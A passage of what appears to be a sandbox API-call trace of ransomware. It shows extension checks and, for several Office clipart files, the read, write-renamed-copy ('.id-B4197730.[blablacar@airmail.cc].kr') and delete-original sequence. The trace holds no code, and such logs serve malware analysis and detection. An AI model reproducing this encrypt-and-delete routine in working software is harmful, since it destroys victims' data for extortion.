(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0183.590] lstrlenW (lpString=".doc") returned 4 [0183.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.590] lstrlenW (lpString=".docx") returned 5 [0183.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.590] lstrlenW (lpString=".pdf") returned 4 [0183.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.590] lstrlenW (lpString=".xls") returned 4 [0183.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.590] lstrlenW (lpString=".xlsx") returned 5 [0183.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.590] lstrlenW (lpString=".ppt") returned 4 [0183.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0183.590] lstrlenW (lpString=".zip") returned 4 [0183.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.590] lstrlenW (lpString=".rar") returned 4 [0183.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.590] lstrlenW (lpString=".bz2") returned 4 [0183.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.590] lstrlenW (lpString=".7z") returned 3 [0183.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0183.842] lstrlenW (lpString=".dbf") returned 4 [0183.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0183.842] lstrlenW (lpString=".1cd") returned 4 [0183.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0183.842] lstrlenW (lpString=".jpg") returned 4 [0183.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.842] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0183.842] lstrlenW (lpString="BS00200_.WMF") returned 12 [0183.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.016] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3104) returned 1 [0184.016] CloseHandle (hObject=0x518) returned 1 [0184.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x220 [0184.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.183] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.184] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0184.185] GetLastError () returned 0x0 [0184.185] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xc20, lpOverlapped=0x0) returned 1 [0184.187] WriteFile (in: hFile=0x50c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xc30, lpOverlapped=0x0) returned 1 [0184.188] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0184.188] WriteFile (in: hFile=0x50c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0184.188] SetEndOfFile (hFile=0x50c) returned 1 [0184.188] CloseHandle (hObject=0x50c) returned 1 [0184.188] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.188] SetEndOfFile (hFile=0x518) returned 1 [0184.191] CloseHandle (hObject=0x518) returned 1 [0184.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf")) returned 1 [0184.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0184.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0184.192] lstrlenW (lpString=".doc") returned 4 [0184.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.192] lstrlenW (lpString=".docx") returned 5 [0184.192] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.192] lstrlenW (lpString=".pdf") returned 4 [0184.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.192] lstrlenW (lpString=".xls") returned 4 [0184.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.192] lstrlenW (lpString=".xlsx") returned 5 [0184.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.193] lstrlenW (lpString=".ppt") returned 4 [0184.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0184.193] lstrlenW (lpString=".zip") returned 4 [0184.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.193] lstrlenW (lpString=".rar") returned 4 [0184.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.193] lstrlenW (lpString=".bz2") returned 4 [0184.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.193] lstrlenW (lpString=".7z") returned 3 [0184.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0184.193] lstrlenW (lpString=".dbf") returned 4 [0184.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0184.193] lstrlenW (lpString=".1cd") returned 4 [0184.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0184.193] lstrlenW (lpString=".jpg") returned 4 [0184.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0184.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0184.193] lstrlenW (lpString=".doc") returned 4 [0184.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.193] lstrlenW (lpString=".docx") returned 5 [0184.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.193] lstrlenW (lpString=".pdf") returned 4 [0184.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.193] lstrlenW (lpString=".xls") returned 4 [0184.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.193] lstrlenW (lpString=".xlsx") returned 5 [0184.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.194] lstrlenW (lpString=".ppt") returned 4 [0184.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0184.194] lstrlenW (lpString=".zip") returned 4 [0184.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.194] lstrlenW (lpString=".rar") returned 4 [0184.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.194] lstrlenW (lpString=".bz2") returned 4 [0184.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.194] lstrlenW (lpString=".7z") returned 3 [0184.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0184.194] lstrlenW (lpString=".dbf") returned 4 [0184.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0184.194] lstrlenW (lpString=".1cd") returned 4 [0184.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 68 [0184.194] lstrlenW (lpString=".jpg") returned 4 [0184.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.194] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.194] lstrlenW (lpString="BS00440_.WMF") returned 12 [0184.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.195] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5580) returned 1 [0184.195] CloseHandle (hObject=0x518) returned 1 [0184.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220 [0184.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.196] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.196] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0184.196] GetLastError () returned 0x0 [0184.196] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x15cc, lpOverlapped=0x0) returned 1 [0184.198] WriteFile (in: hFile=0x50c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x15d0, lpOverlapped=0x0) returned 1 [0184.199] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0184.199] WriteFile (in: hFile=0x50c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0184.199] SetEndOfFile (hFile=0x50c) returned 1 [0184.199] CloseHandle (hObject=0x50c) returned 1 [0184.199] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.199] SetEndOfFile (hFile=0x518) returned 1 [0184.202] CloseHandle (hObject=0x518) returned 1 [0184.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0184.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0184.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0184.203] lstrlenW (lpString=".doc") returned 4 [0184.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.203] lstrlenW (lpString=".docx") returned 5 [0184.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.203] lstrlenW (lpString=".pdf") returned 4 [0184.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.203] lstrlenW (lpString=".xls") returned 4 [0184.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.203] lstrlenW (lpString=".xlsx") returned 5 [0184.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.203] lstrlenW (lpString=".ppt") returned 4 [0184.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0184.203] lstrlenW (lpString=".zip") returned 4 [0184.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.203] lstrlenW (lpString=".rar") returned 4 [0184.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.203] lstrlenW (lpString=".bz2") returned 4 [0184.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.203] lstrlenW (lpString=".7z") returned 3 [0184.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0184.203] lstrlenW (lpString=".dbf") returned 4 [0184.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0184.203] lstrlenW (lpString=".1cd") returned 4 [0184.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0184.203] lstrlenW (lpString=".jpg") returned 4 [0184.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0184.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0184.204] lstrlenW (lpString=".doc") returned 4 [0184.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.204] lstrlenW (lpString=".docx") returned 5 [0184.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.204] lstrlenW (lpString=".pdf") returned 4 [0184.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.204] lstrlenW (lpString=".xls") returned 4 [0184.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.204] lstrlenW (lpString=".xlsx") returned 5 [0184.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.204] lstrlenW (lpString=".ppt") returned 4 [0184.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0184.204] lstrlenW (lpString=".zip") returned 4 [0184.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.204] lstrlenW (lpString=".rar") returned 4 [0184.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.204] lstrlenW (lpString=".bz2") returned 4 [0184.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.204] lstrlenW (lpString=".7z") returned 3 [0184.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0184.204] lstrlenW (lpString=".dbf") returned 4 [0184.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0184.204] lstrlenW (lpString=".1cd") returned 4 [0184.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68 [0184.204] lstrlenW (lpString=".jpg") returned 4 [0184.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.205] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.205] lstrlenW (lpString="BS00441_.WMF") returned 12 [0184.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.205] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3524) returned 1 [0184.205] CloseHandle (hObject=0x518) returned 1 [0184.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x220 [0184.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.206] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.206] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0184.207] GetLastError () returned 0x0 [0184.207] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xdc4, lpOverlapped=0x0) returned 1 [0184.208] WriteFile (in: hFile=0x50c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xdd0, lpOverlapped=0x0) returned 1 [0184.209] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0184.209] WriteFile (in: hFile=0x50c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0184.210] SetEndOfFile (hFile=0x50c) returned 1 [0184.210] CloseHandle (hObject=0x50c) returned 1 [0184.210] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0184.210] SetEndOfFile (hFile=0x518) returned 1 [0184.213] CloseHandle (hObject=0x518) returned 1 [0184.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0184.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0184.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0184.214] lstrlenW (lpString=".doc") returned 4 [0184.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.214] lstrlenW (lpString=".docx") returned 5 [0184.214] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.214] lstrlenW (lpString=".pdf") returned 4 [0184.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.214] lstrlenW (lpString=".xls") returned 4 [0184.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.214] lstrlenW (lpString=".xlsx") returned 5 [0184.214] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.214] lstrlenW (lpString=".ppt") returned 4 [0184.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0184.214] lstrlenW (lpString=".zip") returned 4 [0184.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.214] lstrlenW (lpString=".rar") returned 4 [0184.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.214] lstrlenW (lpString=".bz2") returned 4 [0184.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.214] lstrlenW (lpString=".7z") returned 3 [0184.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0184.214] lstrlenW (lpString=".dbf") returned 4 [0184.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0184.214] lstrlenW (lpString=".1cd") returned 4 [0184.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0184.215] lstrlenW (lpString=".jpg") returned 4 [0184.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0184.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0184.215] lstrlenW (lpString=".doc") returned 4 [0184.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.215] lstrlenW (lpString=".docx") returned 5 [0184.215] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.215] 